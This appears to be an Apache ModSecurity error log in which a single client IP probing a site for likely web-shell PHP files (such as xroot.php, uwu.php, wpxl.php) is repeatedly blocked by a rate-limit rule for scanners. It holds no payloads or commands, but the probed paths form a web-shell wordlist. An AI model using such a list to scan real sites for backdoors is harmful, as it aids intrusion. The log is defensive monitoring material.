[Fri Apr 24 19:17:36.277730 2026] [:error] [pid 17808:tid 17818] [client 20.107.212.3:25689] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aetRUOarbOEFI8qshvIaPgAAAEg"]
[Fri Apr 24 19:17:37.431486 2026] [:error] [pid 17808:tid 17834] [client 20.107.212.3:60573] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aetRUearbOEFI8qshvIaQwAAAFg"]
[Fri Apr 24 19:17:38.601291 2026] [:error] [pid 17720:tid 17767] [client 20.107.212.3:60054] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aetRUuhlUs6BS3Ng7_V_bQAAAM0"]
[Fri Apr 24 19:17:39.708788 2026] [:error] [pid 17720:tid 17759] [client 20.107.212.3:48686] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aetRU-hlUs6BS3Ng7_V_cQAAAMU"]
[Fri Apr 24 19:17:40.715181 2026] [:error] [pid 17808:tid 17831] [client 20.107.212.3:61053] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aetRVOarbOEFI8qshvIaRwAAAFU"]
[Fri Apr 24 19:17:42.223886 2026] [:error] [pid 17721:tid 17791] [client 20.107.212.3:42568] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aetRVuFXXkLeyDnfk_8nyAAAAAo"]
[Fri Apr 24 19:17:43.009401 2026] [:error] [pid 14531:tid 14553] [client 20.107.212.3:48702] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aetRV3fLU2gw-6KR-GaxWAAAAVQ"]
[Fri Apr 24 19:17:44.169922 2026] [:error] [pid 4177:tid 4198] [client 20.107.212.3:32041] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aetRWH2asKnvdrSe0x7XzQAAAY0"]
[Fri Apr 24 19:17:45.248054 2026] [:error] [pid 17720:tid 17757] [client 20.107.212.3:26209] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aetRWehlUs6BS3Ng7_V_jwAAAMM"]
[Fri Apr 24 19:17:46.454128 2026] [:error] [pid 14531:tid 14550] [client 20.107.212.3:42609] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aetRWnfLU2gw-6KR-GaxWgAAAVE"]
[Fri Apr 24 19:17:47.523629 2026] [:error] [pid 14531:tid 14549] [client 20.107.212.3:57480] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aetRW3fLU2gw-6KR-GaxWwAAAVA"]
[Fri Apr 24 19:17:48.518302 2026] [:error] [pid 14531:tid 14552] [client 20.107.212.3:26704] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aetRXHfLU2gw-6KR-GaxYAAAAVM"]
[Fri Apr 24 19:17:50.013915 2026] [:error] [pid 17720:tid 17774] [client 20.107.212.3:25694] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aetRXuhlUs6BS3Ng7_V_tAAAANQ"]
[Fri Apr 24 19:17:50.706284 2026] [:error] [pid 17808:tid 17814] [client 20.107.212.3:25696] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aetRXuarbOEFI8qshvIaTQAAAEQ"]
[Fri Apr 24 19:17:51.927112 2026] [:error] [pid 17721:tid 17803] [client 20.107.212.3:27136] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aetRX-FXXkLeyDnfk_8nygAAABY"]
[Fri Apr 24 19:17:53.266319 2026] [:error] [pid 4177:tid 4192] [client 20.107.212.3:60090] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aetRYX2asKnvdrSe0x7X6AAAAYc"]
[Fri Apr 24 19:17:54.323959 2026] [:error] [pid 17720:tid 17759] [client 20.107.212.3:52355] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aetRYuhlUs6BS3Ng7_V_vgAAAMU"]
[Fri Apr 24 19:17:56.024642 2026] [:error] [pid 17721:tid 17799] [client 20.107.212.3:27191] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aetRZOFXXkLeyDnfk_8n0AAAABI"]
[Fri Apr 24 19:18:00.598846 2026] [:error] [pid 17721:tid 17797] [client 20.107.212.3:26191] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aetRaOFXXkLeyDnfk_8n2QAAABA"]
[Fri Apr 24 19:18:02.361671 2026] [:error] [pid 17808:tid 17812] [client 20.107.212.3:57499] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aetRauarbOEFI8qshvIaVwAAAEI"]
[Fri Apr 24 19:18:05.422906 2026] [:error] [pid 17808:tid 17826] [client 20.107.212.3:61031] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aetRbearbOEFI8qshvIaXgAAAFA"]
[Fri Apr 24 19:18:07.448899 2026] [:error] [pid 17808:tid 17816] [client 20.107.212.3:61046] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aetRb-arbOEFI8qshvIaYwAAAEY"]
[Fri Apr 24 19:18:10.725776 2026] [:error] [pid 4177:tid 4197] [client 20.107.212.3:4037] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aetRcn2asKnvdrSe0x7YHwAAAYw"]
[Fri Apr 24 19:18:12.910360 2026] [:error] [pid 17721:tid 17781] [client 20.107.212.3:45687] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aetRdOFXXkLeyDnfk_8n5wAAAAA"]
[Fri Apr 24 19:18:14.456835 2026] [:error] [pid 4177:tid 4196] [client 20.107.212.3:60992] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aetRdn2asKnvdrSe0x7YLAAAAYs"]
[Fri Apr 24 19:18:17.031197 2026] [:error] [pid 4177:tid 4196] [client 20.107.212.3:51691] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aetReX2asKnvdrSe0x7YOQAAAYs"]
[Fri Apr 24 19:18:18.092881 2026] [:error] [pid 17720:tid 17771] [client 20.107.212.3:4064] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aetReuhlUs6BS3Ng7_WATQAAANE"]
[Fri Apr 24 19:18:19.961634 2026] [:error] [pid 17808:tid 17825] [client 20.107.212.3:61906] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aetRe-arbOEFI8qshvIaigAAAE8"]
[Fri Apr 24 19:18:21.337981 2026] [:error] [pid 4177:tid 4202] [client 20.107.212.3:51659] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aetRfX2asKnvdrSe0x7YTAAAAZE"]
[Fri Apr 24 19:18:22.512649 2026] [:error] [pid 17720:tid 17778] [client 20.107.212.3:18169] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aetRfuhlUs6BS3Ng7_WAegAAANg"]
[Fri Apr 24 19:18:25.109651 2026] [:error] [pid 4177:tid 4187] [client 20.107.212.3:19237] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aetRgX2asKnvdrSe0x7YYAAAAYI"]
[Fri Apr 24 19:18:26.396250 2026] [:error] [pid 14531:tid 14534] [client 20.107.212.3:45678] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aetRgnfLU2gw-6KR-GaxmgAAAUE"]
[Fri Apr 24 19:18:27.672612 2026] [:error] [pid 14531:tid 14545] [client 20.107.212.3:32925] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aetRg3fLU2gw-6KR-GaxnwAAAUw"]
[Fri Apr 24 19:18:57.975472 2026] [:error] [pid 17720:tid 17771] [client 20.107.212.3:64522] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aetRoehlUs6BS3Ng7_WBKQAAANE"]
[Fri Apr 24 19:18:59.553320 2026] [:error] [pid 4177:tid 4199] [client 20.107.212.3:27243] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aetRo32asKnvdrSe0x7YrQAAAY4"]
[Fri Apr 24 19:19:02.938421 2026] [:error] [pid 17721:tid 17801] [client 20.107.212.3:47679] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aetRpuFXXkLeyDnfk_8oTAAAABQ"]
[Fri Apr 24 19:19:04.491582 2026] [:error] [pid 4177:tid 4189] [client 20.107.212.3:32506] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aetRqH2asKnvdrSe0x7YuwAAAYQ"]
[Fri Apr 24 19:19:06.689988 2026] [:error] [pid 4177:tid 4205] [client 20.107.212.3:41930] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aetRqn2asKnvdrSe0x7Y0AAAAZQ"]
[Fri Apr 24 19:19:09.596791 2026] [:error] [pid 17808:tid 17834] [client 20.107.212.3:32487] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aetRrearbOEFI8qshvIa0AAAAFg"]
[Fri Apr 24 19:19:10.503130 2026] [:error] [pid 14531:tid 14550] [client 20.107.212.3:55496] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aetRrnfLU2gw-6KR-Gax1AAAAVE"]
[Fri Apr 24 19:19:13.198388 2026] [:error] [pid 14531:tid 14539] [client 20.107.212.3:53005] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aetRsXfLU2gw-6KR-Gax4AAAAUY"]
[Fri Apr 24 19:19:14.399667 2026] [:error] [pid 4177:tid 4199] [client 20.107.212.3:35185] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aetRsn2asKnvdrSe0x7Y8QAAAY4"]
[Fri Apr 24 19:19:16.163582 2026] [:error] [pid 17720:tid 17762] [client 20.107.212.3:44105] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aetRtOhlUs6BS3Ng7_WBNwAAAMg"]
[Fri Apr 24 19:19:18.616862 2026] [:error] [pid 17720:tid 17767] [client 20.107.212.3:44132] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aetRtuhlUs6BS3Ng7_WBQQAAAM0"]
[Fri Apr 24 19:19:19.473761 2026] [:error] [pid 17720:tid 17763] [client 20.107.212.3:39290] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aetRt-hlUs6BS3Ng7_WBRgAAAMk"]
[Fri Apr 24 19:19:20.987770 2026] [:error] [pid 14531:tid 14546] [client 20.107.212.3:21619] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aetRuHfLU2gw-6KR-Gax6QAAAU0"]
[Fri Apr 24 19:19:22.263450 2026] [:error] [pid 17720:tid 17770] [client 20.107.212.3:47631] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aetRuuhlUs6BS3Ng7_WBUQAAANA"]
[Fri Apr 24 19:19:23.991079 2026] [:error] [pid 4177:tid 4209] [client 20.107.212.3:50300] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aetRu32asKnvdrSe0x7ZAQAAAZg"]
[Fri Apr 24 19:19:27.396203 2026] [:error] [pid 17719:tid 17748] [client 20.107.212.3:64032] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aetRv8TZ9gzEyL1BkPqZfQAAAJU"]
[Fri Apr 24 19:19:28.736601 2026] [:error] [pid 17719:tid 17740] [client 20.107.212.3:47674] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aetRwMTZ9gzEyL1BkPqZfwAAAI0"]
[Fri Apr 24 19:19:29.458893 2026] [:error] [pid 14531:tid 14536] [client 20.107.212.3:35102] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aetRwXfLU2gw-6KR-GayAgAAAUM"]
[Fri Apr 24 19:19:31.177898 2026] [:error] [pid 4177:tid 4197] [client 20.107.212.3:41954] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aetRw32asKnvdrSe0x7ZIAAAAYw"]
[Fri Apr 24 19:19:32.202433 2026] [:error] [pid 17721:tid 17805] [client 20.107.212.3:47625] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aetRxOFXXkLeyDnfk_8ogAAAABg"]
[Fri Apr 24 19:19:34.217774 2026] [:error] [pid 17721:tid 17789] [client 20.107.212.3:47628] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aetRxuFXXkLeyDnfk_8ohQAAAAg"]
[Fri Apr 24 19:19:35.997332 2026] [:error] [pid 22114:tid 22131] [client 20.107.212.3:46132] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aetRx4AuWGz3WlMQjofe-gAAAQ4"]
[Fri Apr 24 19:19:36.883514 2026] [:error] [pid 14531:tid 14541] [client 20.107.212.3:39351] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aetRyHfLU2gw-6KR-GayDgAAAUg"]
